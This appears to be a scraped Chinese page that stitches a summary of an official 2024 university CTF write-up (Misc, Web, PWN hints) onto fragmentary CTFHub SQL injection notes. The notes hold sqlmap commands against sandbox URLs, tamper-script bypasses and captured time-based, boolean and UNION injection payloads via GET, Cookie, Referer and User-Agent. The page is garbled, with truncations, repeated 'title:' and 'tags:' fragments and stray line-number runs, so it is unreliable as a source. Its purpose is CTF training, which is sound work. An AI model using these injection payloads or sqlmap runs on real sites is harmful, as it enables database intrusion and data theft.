2024高校联盟CTF杯的官方WP这是一份2024高校联盟CTF杯的官方WP,包含了多种题型的解题思路和过程。
Misc
我上早八:在文件末尾藏着flag。
zip家族:根据提示依次进行base32解密、8位密码破解和处理伪加密,最终获得flag。
看不到我:使用工具或在线网站对gif动图进行分帧,拼接特定帧获得flag。
我不是舔狗:发现镜像信息,反转后结合主题酒店搜索相关内容。
Web
JS Challenge:查看源码,在控制台运行js代码,将key转换为32位小写md5。
大圣在哪里:访问特定php文件获得flag。
懂不懂什么叫传参啊:分别用get和post方式传参获取flag。
黑手:访问robots.txt,对其中的内容进行base64解密。
RCE:通过构造特定的payload或使用无参数RCE读取根目录的flag。
PWN
简单溢出:程序存在栈溢出漏洞,通过构造溢出读取/bin/sh字符串,覆盖返回地址为system函数地址,获取shell。
x64:程序存在栈溢出漏洞,计算溢出偏移量,构造payload覆盖返回地址为Shell函数地址并传入/bin/ ...
过滤空格第一步 爆数据库
命令: python sqlmap.py -u “http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id\=1“ —dbs —tamper “space2comment.py”
补充:
脚本名: space2comment.py
作用:Replaces space character ‘ ‘ with comments //**
也就是用注释/**/替换空格字符’ ‘
sqlmap 中的 tamper 脚本有很多,例如: equaltolike.py (作用是用like代替等号)、 apostrophemask.py (作用是用utf8代替引号)、 greatest.py (作用是绕过过滤’>‘ ,用GREATEST替换大于号)等。
12345678910111213---Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLE ...
Refer注入level有5级,越高检测越全,默认为 1
—level 1 检测Get和Post
—level 2 检测HTTP Cookie
—level 3 检测User-Agent和Referer
—level 4 检测
—level 5 检测 HOST 头
—
12345678910111213---Parameter: Referer (Referer) Type: UNION query Title: Generic UNION query (random number) - 2 columns Payload: -5848 UNION ALL SELECT CONCAT(0x7171787a71,0x6543727846745555584e4546736d6442655a6c63646a786c626d6f634b6e6f4c43554a6a4b746676,0x7170787871),3313-- -tags: [web渗透]title: Refer注入title: Refer注入title: Refer注入tags: [web渗透]title: ...
UA注入 UA是什么?UA也称User-Agent,当用户发起一个请求时,网站会通过判断 UA的数据,如(名称,版本,浏览器内核,内核版本)等等,来给不同的操作系统,不同的浏览器发送不同的页面
一般来说,普通的 SQL 注入是对 URL 及参数进行的,但这里攻击者却将 SQL 查询语句隐藏在了 HTTP 头部的User-Agent字段之中 ,也称UA注入
SQLMap 的 User-Agent (UA) 注入是一种利用应用程序在处理 HTTP User-Agent 头部时存在的 SQL 注入漏洞的技术。攻击者通过修改 User-Agent 头部中的数据来注入恶意 SQL 代码,从而获取数据库信息或执行其他恶意操作。
如何利用 SQLMap 进行 UA 注入:
SQLMap 本身并不直接支持“UA 注入”作为一种独立的注入类型。 它主要关注参数化的 SQL 注入。然而,如果一个应用程序的 User-Agent 头部被不安全地处理,导致其值被包含在 SQL 查询中,那么 SQLMap 可以用来测试和利用这个漏洞。 你需要告诉 SQLMap 将 User-Agent 头部作为测试参数。
步骤 ...
Cookie注入123456789101112131415161718192021---Parameter: id (Cookie) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2366=2366 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 4938 FROM (SELECT(SLEEP(5)))dEgG) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=-5888 UNION ALL SELECT CONCAT(0x7162786b71,0x7878714d716972454578746451454d4 ...
MySQL结构根据网页显示内容输入1进行测试,此题可能存在 SQL 注入。此题与前一题类似,这次使用手工注入。先判断是否存在注入,发现存在注入后检查注入点。判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看全部数据库名,并查看这些数据库的表名,最后在 lvlbiqemvj 表中的数据发现此题 flag 。
1234567891011121314151617tags: [web渗透]title: MySQL结构title: MySQL结构title: MySQL结构tags: [web渗透]title: MySQL结构tags: [web渗透]---Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 4673 FROM (SELECT(SLEEP(5)))Zdxl) Type: UNION query Title: Ge ...
时间盲注时间盲注简介时间盲注又称延迟注入,个人理解,适用于==页面不会返回错误信息,只会回显一种界面==,其主要特征是==利用sleep函数,制造时间延迟,由回显时间来判断是否报错==。官方理解:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
1sqlmap -u "http://challenge-1715702b3e026ca9.sandbox.ctfhub.com:10800/?id=1"
12345678910111213---Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 9203 FROM ...
布尔盲注123456available databases [4]:[*] information_schema[*] mysql[*] performance_schema[*] sqli
技术 #以下选项用于调整特定 SQL 注入技术的测试方法
12345678910--technique=TECH #使用的 SQL 注入技术(默认为“BEUSTQ”)B: Boolean-based blind SQL injection(布尔型盲注)E: Error-based SQL injection(报错型注入)U: UNION query SQL injection(联合查询注入)S: Stacked queries SQL injection(堆查询注入)T: Time-based blind SQL injection(时间型盲注)Q: inline Query injection(内联查询注入)--time-sec=TIMESEC #设置延时注入的时间(默认为 5)--second-order=S.. #设置二阶响应的结果显示页面的 URL(该选项用于二阶 SQL 注入)
枚举 ...